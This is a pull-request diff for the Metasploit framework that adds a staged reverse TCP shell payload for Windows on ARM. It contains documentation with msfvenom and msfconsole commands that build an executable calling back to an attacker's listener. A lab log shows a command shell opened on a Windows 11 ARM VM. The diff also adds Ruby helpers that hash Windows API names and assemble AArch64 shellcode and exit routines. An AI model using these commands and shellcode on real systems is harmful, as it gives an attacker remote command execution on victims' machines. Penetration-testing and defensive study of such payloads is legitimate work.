Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
75 changes: 75 additions & 0 deletions documentation/modules/payload/windows/aarch64/shell/reverse_tcp.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
## Vulnerable Application

This is a staged reverse TCP command shell for Windows on ARM (AArch64).
It targets native AArch64 Windows processes (Windows on ARM), not x86/x64
emulation.

Compatible environments include:

* Windows 11 on ARM (native AArch64)
* Windows 10 on ARM (native AArch64)

There is no specific vulnerable application -- this is a payload module
used with a compatible exploit or generated as a standalone executable
via `msfvenom`.

## Verification Steps

1. Start msfconsole
1. Do: `use exploit/multi/handler`
1. Do: `set PAYLOAD windows/aarch64/shell/reverse_tcp`
1. Do: `set LHOST [attacker IP]`
1. Do: `set LPORT 4444`
1. Do: `run`
1. On a Windows on ARM target, execute a PE generated with:
`./msfvenom -p windows/aarch64/shell/reverse_tcp LHOST=[attacker IP] LPORT=4444 -f exe -o staged.exe`
1. You should get a Windows command shell session

## Options

### EXITFUNC

Exit technique used after the stage spawns `cmd.exe`. Accepted values:
`process`, `thread`, `none`, `seh`. (Default: `process`)

`seh` clears the unhandled exception filter via
`SetUnhandledExceptionFilter(NULL)` and then branches to address 0 for a
predictable crash (same tactic as the x86/x64 Windows payloads).

## Scenarios

### Windows 11 on ARM (UTM VM) -- staged reverse TCP

Attacker host: macOS at `192.168.0.164`. Target: Windows 11 ARM64
build `10.0.26200.8875` in a UTM VM.

```
$ ./msfvenom -p windows/aarch64/shell/reverse_tcp \
LHOST=192.168.0.164 LPORT=6666 \
-f exe -o test.exe
[*] Payload size: 716 bytes
[*] Final size of exe file: 6656 bytes
[*] Saved as: test.exe

$ ./msfconsole -qx "use exploit/multi/handler; \
set PAYLOAD windows/aarch64/shell/reverse_tcp; \
set LHOST 192.168.0.164; set LPORT 6666; run"
[*] Started reverse TCP handler on 192.168.0.164:6666
[*] Sending stage (420 bytes) to 192.168.0.164
[*] Command shell session 1 opened (192.168.0.164:6666 -> 192.168.0.164:50013)

Shell Banner:
Microsoft Windows [Version 10.0.26200.8875]
-----

C:\Users\user\Downloads>whoami
windows\user

C:\Users\user\Downloads>hostname
Windows

C:\Users\user\Downloads>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
IPv4 Address. . . . . . . . . . . : 10.0.2.15
```
46 changes: 46 additions & 0 deletions lib/msf/core/payload/windows/aarch64.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# -*- coding: binary -*-

module Msf
# Shared helpers for Windows ARCH_AArch64 payloads (PEB/EAT ROR-13
# hashing and the aarch64 gem assembler glue).
module Payload::Windows::Aarch64
#
# ROR-13 hash of a kernel32/ws2_32 export name, matching the asm
# find_function routine (stops on CBZ before adding the NUL).
#
# @param str [String] export name without trailing NUL
# @return [Integer] 32-bit hash
#
def ror13_hash(str)
h = 0
str.each_byte do |b|
h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
h = (h + b) & 0xFFFFFFFF
end
h
end

#
# Assemble an AArch64 asm string to raw bytes via the aarch64 gem.
#
# @param asm_string [String]
# @return [String] raw shellcode
#
def compile_aarch64(asm_string)
require 'aarch64/parser'
parser = ::AArch64::Parser.new
asm = parser.parse(without_inline_comments(asm_string))
asm.to_binary
end

#
# Strip `//` comments and blank lines so the aarch64 gem parser is happy.
#
# @param string [String]
# @return [String]
#
def without_inline_comments(string)
string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n")
end
end
end
83 changes: 83 additions & 0 deletions lib/msf/core/payload/windows/exitfunk_aarch64.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
# -*- coding: binary -*-

module Msf
#
# Exit routines for Windows ARCH_AArch64 payloads.
#
# Mirrors +Msf::Payload::Windows::Exitfunk_x64+: process/thread/none call a
# kernel32 exit API resolved by ROR-13 hash; seh clears the unhandled
# exception filter then branches to NULL for a predictable crash.
#
module Payload::Windows::Exitfunk_Aarch64 # rubocop:disable Naming/ClassAndModuleCamelCase
include Msf::Payload::Windows::Aarch64

#
# ROR-13 hash of the kernel32 API used for the given EXITFUNC value.
# For +seh+ this is SetUnhandledExceptionFilter (the call sequence is
# built by {#asm_exitfunk_aarch64}, not the generic exit-API stub).
#
# @param value [String, nil] EXITFUNC datastore value
# @return [Integer]
#
def exitfunk_hash(value)
case value.to_s.downcase
when 'thread'
ror13_hash('ExitThread')
when 'seh'
ror13_hash('SetUnhandledExceptionFilter')
when 'none'
# Still need a real call so execution does not fall into garbage.
ror13_hash('ExitProcess')
when 'process', ''
0x78b5b983 # TerminateProcess
else
0x78b5b983
end
end

#
# AArch64 assembly for the +exitfunk+ label.
#
# Expects kernel32 base at +[x29, #0x00]+ and +&find_function+ at
# +[x29, #0x08]+ (same slot table as the Windows AArch64 payloads).
#
# @option opts [String] :exitfunk One of process, thread, none, seh
# @return [String] assembly including the +exitfunk:+ label
#
def asm_exitfunk_aarch64(opts = {})
exitfunk = opts[:exitfunk].to_s.downcase
hash = exitfunk_hash(exitfunk)
exit_lo = hash & 0xFFFF
exit_hi = (hash >> 16) & 0xFFFF

if exitfunk == 'seh'
<<~ASM
exitfunk:
ldr x3, [x29, #0x00]
movz w0, ##{format('0x%04x', exit_lo)}
movk w0, ##{format('0x%04x', exit_hi)}, lsl #16
ldr x9, [x29, #0x08]
blr x9
mov x10, x0
mov x0, xzr
blr x10
br xzr
ASM
else
<<~ASM
exitfunk:
ldr x3, [x29, #0x00]
movz w0, ##{format('0x%04x', exit_lo)}
movk w0, ##{format('0x%04x', exit_hi)}, lsl #16
ldr x9, [x29, #0x08]
blr x9
mov x10, x0
movn x0, #0
mov w1, wzr
blr x10
brk #0
ASM
end
end
end
end
Loading
Loading